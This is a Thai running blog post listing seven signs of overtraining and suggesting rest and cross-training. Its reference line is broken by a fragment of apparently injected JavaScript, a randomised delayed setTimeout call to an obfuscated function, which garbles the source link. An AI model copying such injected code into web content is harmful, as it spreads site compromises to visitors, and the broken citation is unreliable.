• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

7 สัญญาณเตือน คุณกำลัง Overtraining !!!

kan by kan
3 April 2019
in Running Tips, Tips & Technics
0
7 สัญญาณเตือน คุณกำลัง Overtraining !!!
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

คุณหักโหมมากไปหรือเปล่า…? อาการ Overtraining เป็นส่วนผสมของการออกกำลังกายที่มากไป (วิ่งมากไป) ขาดการพักผ่อนที่เพียงพอ (Lack of rest) และร่างกายไม่สามารถฟื้นฟู (Recovery) ได้ทันกับปริมาณการฝึกที่ใส่เข้ามา (Workload) เมื่อไหร่ที่เราเริ่มฝึกหนัก หรือมี Workload มาก การพักผ่อนก็จะต้องมากตามไปด้วย หากการพักผ่อนของเราน้อย หมายถึงการนอนน้อย กินอาหารไม่เพียงพอ กลไกการทำงานเพื่อรักษาสมดุลในร่างกายจะเริ่มพังทลายลง กล้ามเนื้อร่างกายอ่อนแรง รีดเอาพลังออกมาไม่ได้ เวลาวิ่ง performance ก็ลดลง ระบบภูมิจะอ่อนแอ ปวดเป็นโรคเป็นไข้ได้ง่าย

ร่างกายนักวิ่งจะเริ่มกระบวนการฟื้นฟู (Recovery) เมื่อเราได้หยุดพัก มีการรับโภชนาการที่ดีและมีการนอนหลับพักผ่อนอย่างเพียงพอ (ประมาณ 8 ชั่วโมงขึ้นไป) สำหรับคนทำงานทั่วไป เข้างานเช้า เลิกเย็นออกวิ่ง ออกงานสังคมและมีการสังสรรค์ หากไม่จัดบริหารตารางเวลาให้ดี ร่างกายจะประท้วงด้วยการปวดไข้ เพราะระบบภูมิคุ้มกันลดลงเป็นอย่างแรกสุด

อาการหักโหมมากเกินไปสามารถเกิดได้ทุกคน ไม่เฉพาะเหล่า Elite เท่านั้น นักวิ่งที่วิ่งระยะ 10K ไปจนถึงมาราธอน สามารถเป็นกันได้ทุกคน ส่วนผสมของการเกิด โอเวอร์เทรนนิ่ง จะรวมไปถึงลักษณะ Social life ด้วย เมื่อบวกรวมกับการฝึกเข้าไป อาการก็จะเริ่มแสดงออก ดังนั้นเราต้องหมั่นสังเกตดูว่า เรากำลังหักโหมมากไปหรือเปล่า

Overtraining คืออะไร เป็นอย่างไร

Overtraining syndrome หรือ OTS มีอาการอย่างไร?

  1. วิ่งแล้วเหนื่อยง่าย กล้ามเนื้อเมื่อยล้า รู้สึกว่าร่างกายมีพลังงานต่ำ หมดแรงหรือหมดแรงเร็วกว่าปกติ
  2. มีอาการหงุดหงิดง่าย อารมณ์เสียง่าย
  3. Performance การวิ่งของเราอยู่ดีๆ ก็ลดลงหรือค่าพารามิเตอร์การวิ่ง อย่าง Pace, Time, HR เปลี่ยนแปลงอย่างเห็นได้ชัด
  4. รู้สึกขี้เกียจ ร่างกายหน่วงๆ เร่งเครื่องไม่ขึ้น
  5. มีอาการเจ็บปวด เป็นไข้ระยะๆ (เหตุเพราะระบบภูมิต้านทานลดต่ำลง)
  6. เบื่ออาหาร
  7. นอนไม่หลับ ปวดศีรษะ ขาดการโฟกัส ไม่มีสมาธิ

ดูแลร่างกายซะบ้าง…เมื่อไหร่ที่มีอาการเหล่านี้อย่างแรกคือ ลดการฝึกทีมีความเข้มข้นสูงลง ปรับให้มีเวลาพักผ่อนมากขึ้น (หากเป็นหนักๆ เลย ก็ควรให้หยุดพักและปรับตารางฝึกใหม่) การฝึกแทนที่จะเป็นการวิ่ง ก็ลองปรับเปลี่ยนรูปแบบการฝึก เป็นการเล่นโยคะ ว่ายน้ำ ปั่นจักรยานเพื่อผ่อนคลายอิริยาบถ ลดการทำงานกล้ามเนื้อชุดเดิมลง ที่สำคัญมันช่วยปรับลดความเครียดจากการฝึกฝนแบบจำเจได้ด้วย

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-advice/how-to-overcome-overtraining”>therunningbug.com

Tags: Overtraining
ShareTweetShare
kan

kan

Related Posts

No Content Available
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.